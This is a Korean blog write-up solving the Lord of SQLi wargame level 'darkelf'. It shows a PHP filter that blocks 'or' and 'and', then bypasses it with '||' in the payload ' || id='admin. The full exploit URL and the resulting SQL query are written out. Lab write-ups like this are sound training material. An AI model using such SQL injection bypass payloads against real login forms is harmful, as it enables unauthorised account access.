6번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번문제는  다음코드에서 보여지듯이 or,and 문자가 필터링이 되어있다

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

  • 하지만 위 필터링 외에는 별다른 특징이없고 admin계정으로 접속만 하면 문제가 풀리는 방식이다

2) 문제풀이

  • 문제풀이는 생각보다 간단하다 원래 자주쓰는 우회방법인 ' or id='admin 공격구문에서 or만 우회하여 공격한다
  • or,and 문자를 우회하는 방법은 다음과 같다

or = ||

and = &&

  • 공격 시 삽입 구문: 'pw=' || id='admin
  • 공격 후 구문: https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_darkelf where id='guest' and pw='' || id='admin'

 

공격 성공화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#8 troll)  (0) 2022.12.30
Lord if SQLi(#7 orge)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28

+ Recent posts